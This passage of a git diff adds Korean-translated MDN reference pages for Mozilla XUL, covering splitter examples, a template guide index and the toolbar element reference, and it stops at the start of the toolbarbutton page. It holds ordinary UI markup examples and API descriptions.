+ <li><a href="ko/DOM/element.nodeValue">DOM:element.nodeValue</a></li>
+ <li><a href="ko/DOM/element.ownerDocument">DOM:element.ownerDocument</a></li>
+ <li><a href="ko/DOM/element.parentNode">DOM:element.parentNode</a></li>
+ <li><a href="ko/DOM/element.prefix">DOM:element.prefix</a></li>
+ <li><a href="ko/DOM/element.previousSibling">DOM:element.previousSibling</a></li>
+ <li><a href="ko/DOM/element.tagName">DOM:element.tagName</a></li>
+</ul>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/splitter/index.html b/files/ko/mozilla/tech/xul/splitter/index.html
new file mode 100644
index 0000000000..863f3c76db
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/splitter/index.html
@@ -0,0 +1,79 @@
+---
+title: splitter
+slug: Mozilla/Tech/XUL/splitter
+translation_of: Archive/Mozilla/XUL/splitter
+---
+<p>&lt;?xml version="1.0"?&gt; &lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin</a>" type="text/css"?&gt;</p>
+<p>&lt;window title="XUL Splitters"</p>
+<pre class="eval">       xmlns:html="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"
+       xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+</pre>
+<p>&lt;script&gt; &lt;![CDATA[</p>
+<p>]]&gt; &lt;/script&gt;</p>
+<p>&lt;description&gt;&lt;html:h1&gt;XUL Splitters&lt;/html:h1&gt;&lt;/description&gt;</p>
+<pre class="eval">&lt;vbox flex="1" style="overflow: auto"&gt;
+</pre>
+<pre class="eval">   &lt;groupbox orient="horizontal" flex="1"&gt;
+   &lt;caption label="collapse before" /&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Left side" /&gt;&lt;/groupbox&gt;
+     &lt;splitter collapse="before" &gt;&lt;grippy /&gt;&lt;/splitter&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Right side" /&gt;&lt;/groupbox&gt;
+   &lt;/groupbox&gt;
+</pre>
+<pre class="eval">   &lt;groupbox orient="horizontal" flex="1"&gt;
+   &lt;caption label="collapse after" /&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Left side" /&gt;&lt;/groupbox&gt;
+     &lt;splitter collapse="after" &gt;&lt;grippy /&gt;&lt;/splitter&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Right side" /&gt;&lt;/groupbox&gt;
+   &lt;/groupbox&gt;
+</pre>
+<pre class="eval">   &lt;groupbox orient="horizontal" flex="1"&gt;
+   &lt;caption label="no collapse" /&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Left side" /&gt;&lt;/groupbox&gt;
+     &lt;splitter collapse="none" /&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Right side" /&gt;&lt;/groupbox&gt;
+  &lt;/groupbox&gt;
+</pre>
+<pre class="eval"> &lt;groupbox  orient="horizontal" flex="1"&gt;
+ &lt;caption label="resize the closest widgets on both sides" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Left most side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Middle Left side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Closest Left side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;splitter collapse="none" resizebefore="closest" resizeafter="closest" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Closest Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Middle Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Right most side&lt;/description&gt;&lt;/groupbox&gt;
+ &lt;/groupbox&gt;
+</pre>
+<pre class="eval"> &lt;groupbox  orient="horizontal" flex="1"&gt;
+ &lt;caption label="resize the farthest widgets on both sides" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Left most side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Middle Left side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Closest Left side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;splitter collapse="none" resizebefore="farthest" resizeafter="farthest" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Closest Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Middle Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Right most side&lt;/description&gt;&lt;/groupbox&gt;
+ &lt;/groupbox&gt;
+</pre>
+<p> </p>
+<pre class="eval"> &lt;groupbox orient="horizontal" flex="1"&gt;
+ &lt;caption label="grow the widgets on the right side" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Left side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;splitter collapse="none" resizebefore="grow" resizeafter="grow" /&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Closest Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Middle Right side&lt;/description&gt;&lt;/groupbox&gt;
+   &lt;groupbox flex="1"&gt;&lt;description&gt;Right most side&lt;/description&gt;&lt;/groupbox&gt;
+ &lt;/groupbox&gt;
+</pre>
+<pre class="eval"> &lt;groupbox orient="horizontal" flex="1"&gt;
+ &lt;caption label="double splitters" /&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Left side" /&gt;&lt;/groupbox&gt;
+     &lt;splitter collapse="before" &gt;&lt;grippy /&gt;&lt;/splitter&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Middle" /&gt;&lt;/groupbox&gt;
+     &lt;splitter collapse="after" &gt;&lt;grippy /&gt;&lt;/splitter&gt;
+     &lt;groupbox flex="1"&gt;&lt;label flex="1" value="Right side" /&gt;&lt;/groupbox&gt;
+ &lt;/groupbox&gt;
+</pre>
+<p>&lt;/vbox&gt;</p>
+<p>&lt;/window&gt;</p>
diff --git a/files/ko/mozilla/tech/xul/template_guide/index.html b/files/ko/mozilla/tech/xul/template_guide/index.html
new file mode 100644
index 0000000000..0d769a66de
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/template_guide/index.html
@@ -0,0 +1,52 @@
+---
+title: Template Guide
+slug: Mozilla/Tech/XUL/Template_Guide
+tags:
+  - XUL
+  - XUL_Template_Guide
+translation_of: Archive/Mozilla/XUL/Template_Guide
+---
+<p> </p>
+<h5 id="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF_.EA.B0.9C.EC.9A.94" name="XUL_.ED.85.9C.ED.94.8C.EB.A6.BF_.EA.B0.9C.EC.9A.94">XUL 템플릿 개요</h5>
+<ul>
+ <li><a href="ko/XUL/Template_Guide/Introduction">소개</a></li>
+ <li><a href="ko/XUL/Template_Guide/Rule_Compilation">규칙 만들기</a></li>
+ <li><a href="ko/XUL/Template_Guide/Result_Generation">결과 생성하기</a></li>
+</ul>
+<h5 id=".ED.85.9C.ED.94.8C.EB.A6.BF_.EB.AC.B8.EB.B2.95" name=".ED.85.9C.ED.94.8C.EB.A6.BF_.EB.AC.B8.EB.B2.95">템플릿 문법</h5>
+<ul>
+ <li><a href="ko/XUL/Template_Guide/Conditions">컨디션</a></li>
+ <li><a href="ko/XUL/Template_Guide/Actions">액션</a></li>
+ <li><a href="ko/XUL/Template_Guide/Recursive_Generation">리커시브 생성</a></li>
+ <li><a href="ko/XUL/Template_Guide/Simple_Example">예제</a></li>
+ <li><a href="ko/XUL/Template_Guide/Bindings">바인딩</a></li>
+ <li><a href="ko/XUL/Template_Guide/Attribute_Substitution">속성 대체</a></li>
+ <li><a href="ko/XUL/Template_Guide/Additional_Navigation">추가 네비게이션</a></li>
+ <li><a href="ko/XUL/Template_Guide/Filtering">필터링</a></li>
+ <li><a href="ko/XUL/Template_Guide/Static_Content">정적 컨텐트</a></li>
+ <li><a href="ko/XUL/Template_Guide/Simple_Rule_Syntax">간단한 규칙 문법</a></li>
+ <li><a href="ko/XUL/Template_Guide/Containment_Properties">컨테인멘트 프로퍼티</a></li>
+</ul>
+<h5 id=".EB.8B.A4.EC.A4.91_.EA.B7.9C.EC.B9.99" name=".EB.8B.A4.EC.A4.91_.EA.B7.9C.EC.B9.99">다중 규칙</h5>
+<ul>
+ <li><a href="ko/XUL/Template_Guide/Multiple_Rules">다중 규칙</a></li>
+ <li><a href="ko/XUL/Template_Guide/Multiple_Rule_Example">다중 규칙 예제</a></li>
+ <li><a href="ko/XUL/Template_Guide/Using_Recursive_Templates">리커시브 템플릿 사용하기</a></li>
+ <li><a href="ko/XUL/Template_Guide/Special_Condition_Tests">특수 조건 테스트</a></li>
+ <li><a href="ko/XUL/Template_Guide/Using_Multiple_Rules_to_Generate_More_Results">많은 결과를 만들기 위한 다중 규칙 이용</a></li>
+ <li><a href="ko/XUL/Template_Guide/Building_Trees">트리 만들기</a></li>
+ <li><a href="ko/XUL/Template_Guide/Building_Hierarchical_Trees">계층적 트리 만들기</a></li>
+</ul>
+<h5 id=".ED.85.9C.ED.94.8C.EB.A6.BF_.EC.88.98.EC.A0.95_.EB.B0.A9.EB.B2.95" name=".ED.85.9C.ED.94.8C.EB.A6.BF_.EC.88.98.EC.A0.95_.EB.B0.A9.EB.B2.95">템플릿 수정 방법</h5>
+<ul>
+ <li><a href="ko/XUL/Template_Guide/Template_Builder_Interface">템플릿 빌더 인터페이스</a></li>
+ <li><a href="ko/XUL/Template_Guide/Template_and_Tree_Listeners">템플릿과 트리 리스너</a></li>
+ <li><a href="ko/XUL/Template_Guide/RDF_Modifications">RDF 변경</a></li>
+</ul>
+<h5 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h5>
+<ul>
+ <li><a href="ko/XUL/Template_Guide/Sorting_Results">결과 정렬하기</a></li>
+ <li><a href="ko/XUL/Template_Guide/Additional_Template_Attributes">추가 템플릿 속성</a></li>
+</ul>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/toolbar/index.html b/files/ko/mozilla/tech/xul/toolbar/index.html
new file mode 100644
index 0000000000..3efda02e8c
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/toolbar/index.html
@@ -0,0 +1,218 @@
+---
+title: toolbar
+slug: Mozilla/Tech/XUL/toolbar
+tags:
+  - MDC Project
+  - NeedsTechnicalReview
+  - XUL Elements
+  - XUL Reference
+translation_of: Archive/Mozilla/XUL/toolbar
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/ko/docs/XUL_Reference">XUL Reference home</a>    [
+ <a href="#Examples">예제</a> |
+ <a href="#Attributes">Attributes</a> |
+ <a href="#Properties">Properties</a> |
+ <a href="#Methods">Methods</a> |
+ <a href="#Related">관련 항목</a> ]
+</span></div>
+<p>보통 한 줄로 된 버튼들을 포함하는 컨테이너로 기본적으로 내부 요소가 수평으로 나열되는 상자의 한 유형입니다. <code>toolbar</code>가 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code> 내에 위치할 경우 <code><a href="/ko/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code>를 이용하여 접혀질 수 있습니다. 툴바는 항상 <code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> 속성을 가져야 합니다. Firefox에서는 사용자 지정 툴바(도구 모음)를 지원하지만, Mozilla 브라우저는 지원하지 않습니다.</p>
+<p>좀 더 자세한 사항은 <a href="ko/XUL_Tutorial/Toolbars">XUL tutorial</a>를 참조하세요.</p>
+<dl>
+ <dt>
+  Attributes</dt>
+ <dd>
+  <a href="#a-currentset">currentset</a>, <a href="#a-customindex">customindex</a>, <a href="#a-customizable">customizable</a>, <a href="#a-defaultset">defaultset</a>, <a href="#a-grippyhidden">grippyhidden</a>, <a href="#a-grippytooltiptext">grippytooltiptext</a>, <a href="#a-toolbar.mode">mode</a>, <a href="#a-toolbarname">toolbarname</a></dd>
+</dl>
+<dl>
+ <dt>
+  Properties</dt>
+ <dd>
+  <a href="#p-accesible">accesible</a>, <a href="#p-currentSet">currentSet</a>, <a href="#p-firstPermanentChild">firstPermanentChild</a>, <a href="#p-lastPermanentChild">lastPermanentChild</a>, <a href="#p-toolbarName">toolbarName</a></dd>
+</dl>
+<dl>
+ <dt>
+  Methods</dt>
+ <dd>
+  <a href="#m-insertItem">insertItem</a></dd>
+</dl>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<div class="float-right">
+ <img alt="Image:XUL_ref_toolbar.png"></div>
+<pre>&lt;toolbox&gt;
+  &lt;toolbar id="nav-toolbar"&gt;
+    &lt;toolbarbutton id="nav-users"  accesskey="U" label="Users"/&gt;
+    &lt;toolbarbutton id="nav-groups" accesskey="p" label="Groups"/&gt;
+    &lt;toolbarbutton id="nav-events" accesskey="E" label="Events" disabled="true"/&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+<h3 id="Attributes" name="Attributes">Attributes</h3>
+<p> </p><div id="a-currentset">
+
+<dl>
+ <dt>
+  <code id="a-currentset"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/currentset">currentset</a></code></dt>
+ <dd>
+  <b><span class="highlightred">Firefox only</span></b></dd>
+ <dd>
+  타입:
+  <i>
+   comma-separated string</i>
+ </dd>
+ <dd>
+  현재 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>에 출력되는 항목의 집합입니다. 이 집합은 사용자가 툴바를 커스터마이징(사용자 지정) 할 경우 변경될 수 있습니다. 속성값은 쉼표(,)로 분리된 <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>에 있는 항목들의 ID 목록이어야 하며, 추가적으로 "<code>separator</code>", "<code>spring</code>", "<code>spacer</code>"의 문자열을 포함할 수 있습니다.</dd>
+</dl>
+<p><span class="comment">this isn't necessary the *current* set, i.e. it might not be equal the value of the currentSet property which is computed from the actual DOM</span></p>
+</div> <div id="a-customindex">
+
+
+<dl>
+ <dt><code id="a-customindex"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/customindex">customindex</a></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>integer</em></dd>
+ <dd>This value is the index of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> in the list of the custom toolbars. The value is updated automatically by the toolbar customization dialog.</dd>
+</dl>
+</div> <div id="a-customizable">
+
+
+<dl>
+ <dt><code id="a-customizable"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/customizable">customizable</a></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Set this attribute to <code>true</code> on <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>s that can be customized. This causes the set of buttons to be persisted across sessions.</dd>
+</dl>
+</div> <div id="a-defaultset">
+
+
+<dl>
+ <dt><code id="a-defaultset"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/defaultset">defaultset</a></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>comma-separated list of item ids</em></dd>
+ <dd>The default set of displayed items on the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. This should be set to a comma-separated list of item IDs from the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. For example, <code>back-button,forward-button,print-button</code>.</dd>
+</dl>
+</div> <div id="a-grippyhidden">
+
+
+<dl>
+ <dt><code id="a-grippyhidden"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/grippyhidden">grippyhidden</a></code></dt>
+ <dd><strong><span class="highlightred">SeaMonkey only</span></strong></dd>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>When set to <code>true</code>, the grippy will be hidden. When set to <code>false</code>, the default, the grippy will be shown.</dd>
+</dl>
+</div> <div id="a-grippytooltiptext">
+
+
+<dl>
+ <dt><code id="a-grippytooltiptext"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/grippytooltiptext">grippytooltiptext</a></code></dt>
+ <dd><strong><span class="highlightred">SeaMonkey only</span></strong></dd>
+ <dd>Type: <em>string</em></dd>
+ <dd>The text to appear on the tooltip for the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>'s <code><a href="/en-US/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> when the toolbar is collapsed. This would be used to label the grippy so that the user knows which toolbar it represents.</dd>
+</dl>
+</div> <div id="a-toolbar.mode">
+
+
+<dl>
+ <dt><code id="a-toolbar.mode"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/toolbar.mode">mode</a></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>How the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>s on the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> are displayed.</dd>
+ <dd>
+ <dl>
+  <dt><code>icons</code></dt>
+  <dd>Show only icons.</dd>
+  <dt><code>text</code></dt>
+  <dd>Show only text.</dd>
+  <dt><code>full</code></dt>
+  <dd>Show both.</dd>
+ </dl>
+ </dd>
+</dl>
+</div> <div id="a-toolbarname">
+
+
+<dl>
+ <dt><code id="a-toolbarname"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/toolbarname">toolbarname</a></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>string</em></dd>
+ <dd>The name of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, which is listed on the Show/Hide toolbars menu.</dd>
+</dl>
+</div><p></p>
+<h3 id="Properties" name="Properties">Properties</h3>
+<p> </p><div id="p-accessible">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/accessible">accessible</a></span></code></dt>
+  <dd>
+    Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessible" title="">nsIAccessible</a></code></em></dd>
+  <dd>
+    Returns the accessibility object for the element.</dd>
+</dl></div> <div id="p-currentSet">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/currentSet">currentSet</a></span></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>comma-separated list of strings</em></dd>
+ <dd>Holds a comma-separated list of the IDs of the items currently on the toolbar. For spacers, separators, and flexible spacers the following strings are used instead of IDs: "<code>spacer</code>", "<code>separator</code>", "<code>spring</code>". An empty toolbar has a <code>currentSet</code> value of <code>"__empty"</code>.</dd>
+</dl>
+
+<dl>
+ <dd>You may change the current set of items by setting this property. Be careful, as setting this property doesn't automatically update the <code id="a-currentset"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/currentset">currentset</a></code> attribute.</dd>
+</dl></div> <div id="p-firstPermanentChild">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/firstPermanentChild">firstPermanentChild</a></span></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>element</em></dd>
+ <dd>The first permanent child of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. A permanent child is one that is not customizable and remains on the toolbar. Items that are placed directly inside the toolbar without being in the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> are permanent.</dd>
+</dl></div> <div id="p-lastPermanentChild">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/lastPermanentChild">lastPermanentChild</a></span></code></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Type: <em>element</em></dd>
+ <dd>The last permanent child of the toolbar. A permanent child is one that is not customizable and remains on the toolbar. Items that are placed directly inside the toolbar without being in the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> are permanent.</dd>
+</dl></div> <div id="p-toolbarName">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/toolbarName">toolbarName</a></span></code></dt>
+  <dd>
+    <strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The name of the toolbar.</dd>
+</dl></div><p></p>
+<h3 id="Methods" name="Methods">Methods</h3>
+<p></p><dl>
+ <dt><span id="m-insertItem"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/insertItem">insertItem( id, beforeNode, wrapper, beforePermanent )</a></code></span></dt>
+ <dd><strong><span class="highlightred">Not in SeaMonkey 1.x</span></strong></dd>
+ <dd>Return type: <em>element</em></dd>
+ <dd>Add an item with the given <var>id</var> to the <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. The new item is added just before the item given by the second argument. If the second argument is <code>null</code>, but the <var>beforePermanent</var> argument is <code>true</code>, the item is added to the beginning of the toolbar before the first permanent item. Otherwise, if the <var>beforePermanent</var> argument is <code>false</code>, the new item is added to the end of the toolbar. The third argument can be used to wrap the new item in another element. Usually, the last argument will be <code>null</code> as it is mainly for the use of the customize dialog.</dd>
+</dl>
+
+<p>The <var>id</var> should match an element in the toolbar's <code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. Some special ids may also be used to create special spacing items:</p>
+
+<ul>
+ <li><code>separator</code>: A separator, which is drawn as a vertical bar.</li>
+ <li><code>spacer</code>: A non-flexible space.</li>
+ <li><code>spring</code>: A flexible space.</li>
+</ul>
+
+<p>The method returns the DOM element for the created item.</p> <table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>XUL 요소에서 상속됨</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>DOM 요소에서 상속됨</strong><br> <small> <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id="Related" name="Related">Related</h3>
+<dl>
+ <dt>
+  Elements</dt>
+ <dd>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></dd>
+</dl>
+<dl>
+ <dt>
+  Interfaces</dt>
+ <dd>
+  <a href="ko/NsIAccessibleProvider">nsIAccessibleProvider</a></dd>
+</dl>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/toolbarbutton/index.html b/files/ko/mozilla/tech/xul/toolbarbutton/index.html
new file mode 100644
index 0000000000..b494ade76e
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/toolbarbutton/index.html
@@ -0,0 +1,477 @@
+---
+title: toolbarbutton
+slug: Mozilla/Tech/XUL/toolbarbutton
+translation_of: Archive/Mozilla/XUL/toolbarbutton
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/ko/docs/XUL_Reference">XUL Reference home</a>    [
+ <a href="#Examples">예제</a> |
+ <a href="#Attributes">Attributes</a> |
+ <a href="#Properties">Properties</a> |
+ <a href="#Methods">Methods</a> |
+ <a href="#Related">관련 항목</a> ]
+</span></div>
+<p><code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>에 올라가는 버튼입니다. 일반 <code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>과 유사하지만 조금 다르게 출력됩니다. 보통 이미지를 포함합니다.</p>
+<p>자세한 사항은 <a href="ko/XUL_Tutorial/Toolbars">XUL tutorial</a>를 참조하세요.</p>
+<dl>
+ <dt>
+  Attributes</dt>
+ <dd>
